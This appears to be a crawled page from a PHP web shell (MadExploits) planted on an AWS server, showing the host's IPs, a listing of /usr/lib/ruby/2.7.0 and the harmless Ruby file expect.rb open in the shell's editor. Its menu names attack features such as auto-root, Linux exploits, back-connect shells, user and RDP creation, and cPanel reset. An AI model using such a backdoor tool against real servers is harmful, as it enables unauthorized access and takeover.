Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 18.117.121.71
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
2.7.0 /
[ HOME SHELL ]
Name
Size
Permission
Action
benchmark
[ DIR ]
drwxr-xr-x
bigdecimal
[ DIR ]
drwxr-xr-x
bundler
[ DIR ]
drwxr-xr-x
cgi
[ DIR ]
drwxr-xr-x
csv
[ DIR ]
drwxr-xr-x
delegate
[ DIR ]
drwxr-xr-x
did_you_mean
[ DIR ]
drwxr-xr-x
digest
[ DIR ]
drwxr-xr-x
drb
[ DIR ]
drwxr-xr-x
fiddle
[ DIR ]
drwxr-xr-x
forwardable
[ DIR ]
drwxr-xr-x
getoptlong
[ DIR ]
drwxr-xr-x
io
[ DIR ]
drwxr-xr-x
irb
[ DIR ]
drwxr-xr-x
json
[ DIR ]
drwxr-xr-x
logger
[ DIR ]
drwxr-xr-x
matrix
[ DIR ]
drwxr-xr-x
net
[ DIR ]
drwxr-xr-x
observer
[ DIR ]
drwxr-xr-x
open3
[ DIR ]
drwxr-xr-x
openssl
[ DIR ]
drwxr-xr-x
optparse
[ DIR ]
drwxr-xr-x
ostruct
[ DIR ]
drwxr-xr-x
pstore
[ DIR ]
drwxr-xr-x
psych
[ DIR ]
drwxr-xr-x
racc
[ DIR ]
drwxr-xr-x
rdoc
[ DIR ]
drwxr-xr-x
reline
[ DIR ]
drwxr-xr-x
rexml
[ DIR ]
drwxr-xr-x
rinda
[ DIR ]
drwxr-xr-x
ripper
[ DIR ]
drwxr-xr-x
rss
[ DIR ]
drwxr-xr-x
rubygems
[ DIR ]
drwxr-xr-x
singleton
[ DIR ]
drwxr-xr-x
syslog
[ DIR ]
drwxr-xr-x
timeout
[ DIR ]
drwxr-xr-x
tracer
[ DIR ]
drwxr-xr-x
unicode_normalize
[ DIR ]
drwxr-xr-x
uri
[ DIR ]
drwxr-xr-x
webrick
[ DIR ]
drwxr-xr-x
yaml
[ DIR ]
drwxr-xr-x
English.rb
6.11
KB
-rw-r--r--
abbrev.rb
3.45
KB
-rw-r--r--
base64.rb
3.3
KB
-rw-r--r--
benchmark.rb
18.02
KB
-rw-r--r--
bigdecimal.rb
24
B
-rw-r--r--
bundler.rb
23.16
KB
-rw-r--r--
cgi.rb
9.8
KB
-rw-r--r--
coverage.rb
368
B
-rw-r--r--
csv.rb
54.34
KB
-rw-r--r--
date.rb
1.01
KB
-rw-r--r--
debug.rb
29.91
KB
-rw-r--r--
delegate.rb
10.86
KB
-rw-r--r--
did_you_mean.rb
3.72
KB
-rw-r--r--
digest.rb
2.83
KB
-rw-r--r--
drb.rb
50
B
-rw-r--r--
erb.rb
28.81
KB
-rw-r--r--
expect.rb
2.17
KB
-rw-r--r--
fiddle.rb
1.68
KB
-rw-r--r--
fileutils.rb
48.01
KB
-rw-r--r--
find.rb
2.47
KB
-rw-r--r--
forwardable.rb
8.92
KB
-rw-r--r--
getoptlong.rb
15.42
KB
-rw-r--r--
ipaddr.rb
19.52
KB
-rw-r--r--
irb.rb
25.21
KB
-rw-r--r--
json.rb
1.77
KB
-rw-r--r--
kconv.rb
5.72
KB
-rw-r--r--
logger.rb
16.4
KB
-rw-r--r--
matrix.rb
60.26
KB
-rw-r--r--
mkmf.rb
86.23
KB
-rw-r--r--
monitor.rb
6.76
KB
-rw-r--r--
mutex_m.rb
2.16
KB
-rw-r--r--
observer.rb
5.83
KB
-rw-r--r--
open-uri.rb
25.48
KB
-rw-r--r--
open3.rb
21.81
KB
-rw-r--r--
openssl.rb
469
B
-rw-r--r--
optionparser.rb
59
B
-rw-r--r--
optparse.rb
59.49
KB
-rw-r--r--
ostruct.rb
10.53
KB
-rw-r--r--
pathname.rb
16.17
KB
-rw-r--r--
pp.rb
15.42
KB
-rw-r--r--
prettyprint.rb
15.89
KB
-rw-r--r--
prime.rb
12.37
KB
-rw-r--r--
pstore.rb
14.71
KB
-rw-r--r--
psych.rb
21.99
KB
-rw-r--r--
racc.rb
137
B
-rw-r--r--
rdoc.rb
4.88
KB
-rw-r--r--
readline.rb
113
B
-rw-r--r--
reline.rb
12.53
KB
-rw-r--r--
resolv-replace.rb
1.76
KB
-rw-r--r--
resolv.rb
73.5
KB
-rw-r--r--
ripper.rb
2.44
KB
-rw-r--r--
rss.rb
2.89
KB
-rw-r--r--
rubygems.rb
36.62
KB
-rw-r--r--
securerandom.rb
9.3
KB
-rw-r--r--
set.rb
23.92
KB
-rw-r--r--
shellwords.rb
6.66
KB
-rw-r--r--
singleton.rb
4.06
KB
-rw-r--r--
socket.rb
43.65
KB
-rw-r--r--
tempfile.rb
10.95
KB
-rw-r--r--
time.rb
24.01
KB
-rw-r--r--
timeout.rb
3.98
KB
-rw-r--r--
tmpdir.rb
4.11
KB
-rw-r--r--
tracer.rb
6.48
KB
-rw-r--r--
tsort.rb
14.3
KB
-rw-r--r--
un.rb
9.96
KB
-rw-r--r--
uri.rb
2.97
KB
-rw-r--r--
weakref.rb
1.44
KB
-rw-r--r--
webrick.rb
6.73
KB
-rw-r--r--
yaml.rb
1.8
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : expect.rb
# frozen_string_literal: true $expect_verbose = false # Expect library adds the IO instance method #expect, which does similar act to # tcl's expect extension. # # In order to use this method, you must require expect: # # require 'expect' # # Please see #expect for usage. class IO # call-seq: # IO#expect(pattern,timeout=9999999) -> Array # IO#expect(pattern,timeout=9999999) { |result| ... } -> nil # # Reads from the IO until the given +pattern+ matches or the +timeout+ is over. # # It returns an array with the read buffer, followed by the matches. # If a block is given, the result is yielded to the block and returns nil. # # When called without a block, it waits until the input that matches the # given +pattern+ is obtained from the IO or the time specified as the # timeout passes. An array is returned when the pattern is obtained from the # IO. The first element of the array is the entire string obtained from the # IO until the pattern matches, followed by elements indicating which the # pattern which matched to the anchor in the regular expression. # # The optional timeout parameter defines, in seconds, the total time to wait # for the pattern. If the timeout expires or eof is found, nil is returned # or yielded. However, the buffer in a timeout session is kept for the next # expect call. The default timeout is 9999999 seconds. def expect(pat,timeout=9999999) buf = ''.dup case pat when String e_pat = Regexp.new(Regexp.quote(pat)) when Regexp e_pat = pat else raise TypeError, "unsupported pattern class: #{pat.class}" end @unusedBuf ||= '' while true if not @unusedBuf.empty? c = @unusedBuf.slice!(0) elsif !IO.select([self],nil,nil,timeout) or eof? then result = nil @unusedBuf = buf break else c = getc end buf << c if $expect_verbose STDOUT.print c STDOUT.flush end if mat=e_pat.match(buf) then result = [buf,*mat.captures] break end end if block_given? then yield result else return result end nil end end
Close